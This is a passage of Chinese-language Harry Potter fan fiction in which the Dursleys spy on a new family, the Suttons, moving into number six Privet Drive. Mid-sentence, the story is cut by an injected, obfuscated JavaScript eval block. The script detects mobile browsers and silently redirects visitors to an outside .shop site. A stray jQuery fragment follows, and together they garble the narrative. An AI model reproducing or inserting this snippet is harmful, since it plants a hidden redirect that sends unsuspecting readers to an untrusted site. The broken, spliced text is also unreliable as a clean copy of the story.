这是一个晴朗的星期天早晨。
女贞路两旁的房子整整齐齐地排列着，草坪修剪得异常齐整，像是用尺子仔细量过似的。湛蓝的天空中看不到一片云彩，只有几只麻雀在屋顶上烦躁地跳来跳去，偶尔叽叽喳喳地叫上一阵子。
一切都是那么规矩、正常、乏善可陈，就像是德思礼夫妇一贯期望的那样。
德思礼先生坐在餐桌旁，一边吃煎蛋，一边翻当天的报纸。他偶尔会从鼻子里哼一声，通常意味着报纸上又出现了某件他认为国家不该允许发生的事。
他的儿子达力坐在他旁边，正挥动着他胖得几乎看不到手肘的胳膊，把吐司中间最好吃的部分全部挖走，并把烤糊的面包边通通扔进哈利的盘子里。
德思礼太太则照例站在窗前，抻着脖子张望——她是一个瘦削的金发女人，这种过分的瘦削显得她的脖子更长了，几乎是正常人的两倍，这使得每当她需要越过篱笆窥伺邻居家的花园、汽车、客人或其他本不关她事的东西时，就显得尤为方便。
这天早晨原本没什么可看，七号的草坪刚剪过，三号门前没有陌生汽车，就连街角的垃圾桶也都规规矩矩待在该待的地方。
佩妮姨妈正准备离开窗户，远处忽然传来一阵沉重的发动机声，声音越来越近——不是送奶车，也不是邮车，更不是德思礼先生熟悉的任何一辆邻居汽车。
佩妮的动作停住了。
下一秒，她的脖子已经向窗外伸了出去，她看到远处一辆白色卡车正慢吞吞地驶进女贞路，车身贴着搬家公司的名字。
德思礼太太眯起眼睛，尖声叫起来：“弗农！”
“什么？”弗农姨夫只是咕哝了一句，眼神没有离开报纸。
“外面有辆搬家车。”佩妮姨妈回答。
“不用大惊小怪，佩妮，亲爱的，兴许是有人要搬走也说不定。”
“不是搬走。”姨妈把脖子又往前送了一点，看到卡车一路向前，最终在女贞路六号前停了下来。她眯起眼睛：“是搬来。”
这一次，德思礼先生终于把报纸放低了一些，哈利也放下盘子从水槽边抬起头，只有达力毫无兴趣，因为他刚刚成功从父亲盘子里弄走了半根香肠，正把粉红色的大脸埋进盘子里大快朵颐。
搬家卡车的后门打开，两个穿工作服的男人跳下来，开始往外搬纸箱，紧接着，一辆深色轿车停在后面。
德思礼太太已经完全不打算离开窗户了，锐利的浅色眼睛一眨不眨，瞪得极大。
对她来说，一个新家庭搬进女贞路，绝不是一件可以等到午饭以后再了解的事——毕竟，德思礼夫妇是最规矩体面不过的人，绝不愿意与任何古怪的事和人沾上半分关系。而一个不够体面的邻居，足以毁掉一整条街的安宁——至少德思礼太太是这么认为的。
德思礼夫妇并不反对邻居，只要邻居是正常人。所谓正常人，最好有正经工作，按时修剪草坪，不在星期日清早播放音乐，也绝不在前院做任何需要旁人停下来多看两眼的事情。
因此，德思礼太太几乎是整条街上第一个见到女贞路六号新邻居的人。至少在那一家四口终于从车里下来以前，她已经确定他们有两只巨大的行李箱、一张不怎么新的沙发、一辆蓝色自行车，以及数量多得很可疑的纸箱。
最先从车里下来的是一个高个男人，三十多岁，穿着卷到手肘的衬衫，正和搬运工讨论一只书柜究竟能不能从前门进去。他没染头发，也没戴耳环。
这是个好兆头。
接着下来的是一个女人，穿着一条到脚踝的碎花裙，棕色头发在脑后随意挽着，手里抱着一只装满茶杯的纸箱。她刚站稳，就转身提醒丈夫小心玄关的墙。
这也是个好兆头。
随后，一个十二岁左右的男孩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872131|212317||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
从后座钻出来，手里拎着一只旧工具箱，看起来垂头丧气，显然毫不关心自己的新家究竟长什么样。
“马修，”女人严厉地说，“把箱子提起来，除非你想让邻居以为我们是来翻修草坪的。”
“我没有，妈妈。”
“如果我的视力正常的话，马修，我想箱子正在地上。”
男孩低头看了一眼，无所谓地耸肩：“它也许喜欢那里。”
德思礼太太皱了皱眉。
不过青少年总有些怪毛病。只要他们及时改正，通常还不至于毁掉整个家庭，像达力这种省心又懂事的小绅士总归是罕见的——想到达力，她皱起的眉头瞬间被抚平了。
最后一个孩子却比较令人担忧。
那是个和达力差不多年纪的女孩。她从车子另一边钻出来时，栗色头发乱糟糟地扎在脑后，有几缕卷曲杂乱的碎发已经挣脱了束缚，随意垂在额前——这又让佩妮姨妈想起了她令人讨厌的侄子，这种联想总是让人感到不愉快。女孩没有帮忙搬箱子，而是蹲在院子里，用一根小树枝拨弄泥土——真是不懂事，她咕哝道。
德思礼太太把脖子又伸长了一些，好看得更清楚。
这时女孩从泥土里挖出了什么东西，摊在手心里看了半天，高喊道：“妈妈！”
她把手里的东西举起来：“这是什么甲虫？”
女人抱着箱子从她身边走过去：“不知道，丽贝卡。”
“那它为什么有这么长的触角？”
“丽贝卡·萨顿。”女人语气平淡，只是往女孩的方向淡淡扫了一眼。
女孩讪讪闭上了嘴。
德思礼太太的嘴唇抿紧了。
“那小姑娘浑身是泥，头发也乱糟糟的。”她厌恶地说。
德思礼先生往窗外看了一眼，恰好看见丽贝卡用手背擦鼻子，并成功在脸上留下了一道灰印。